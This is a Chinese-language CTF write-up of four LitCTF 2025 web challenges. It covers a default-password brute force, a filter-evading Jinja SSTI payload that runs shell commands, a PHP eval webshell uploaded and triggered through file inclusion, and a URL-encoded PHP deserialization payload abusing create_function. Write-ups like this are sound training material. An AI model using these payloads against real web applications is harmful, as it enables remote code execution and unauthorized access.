Litctf2025-WP
WEB
nest_js
登录界面,先考虑爆破
账户:admin
密码:password
成功获取flag
LitCTF{b11dd2bc-935b-47d7-ada1-dd12a3140c4a}
星愿信箱
一道简单的SSTI题目
输入
1 | {%print joiner['__init__']['__globals__']['__builtins__']['__i''mport__']('so'[::-1])['p''open']('c''at /f*')['read']()%} |
成功拿到flag
EasyFile
这道题先把御用字典每行base64编码,再进行admin爆破,爆破得到密码是payload
第一步完成,然后进入
还记得最开始源码里提示有file参数
在登录之后获得文件上传界面,发现存在file参数,是文件包含参数
然后简单测试文件上传,发现,后缀过滤比较严格,而内容
1 | <?= @eval($_GET[cmd]); ?> |
可以实现绕过
这样的话,基本就结束了
上传,1.txt文件以这样的内容
再去用file进行文件包含,即可执行任意命令获取flag
POP
POP
没见过C开头,因此花了很长时间理解
1 | $a = 'x:i:0;'.$a.';m:a:0:{}'; $length = strlen($a); |
试了一下phpinfo,成功拿到配置信息,方向没错
然后注意create_function函数
注意要url编码才能传入%00
传入
1 | Litctf2025=C%3A11%3A%22ArrayObject%22%3A73%3A%7Bx%3Ai%3A0%3BO%3A4%3A%22Taki%22%3A2%3 A%7Bs%3A6%3A%22musubi%22%3Bs%3A9%3A%22%00lambda_1%22%3Bs%3A5%3A%22magic% 22%3BN%3B%7D%3Bm%3Aa%3A0%3A%7B%7D%7D |
直接传入拿到flag 根本没有链子原来 %00lambda_0
总结一下就是create_function()这个函数的漏洞,他create之后会自动生成一个函数名 为%00lambda_[0-999],后面的数字会逐步递增测到2就出了flag
(这道题根本就没有链子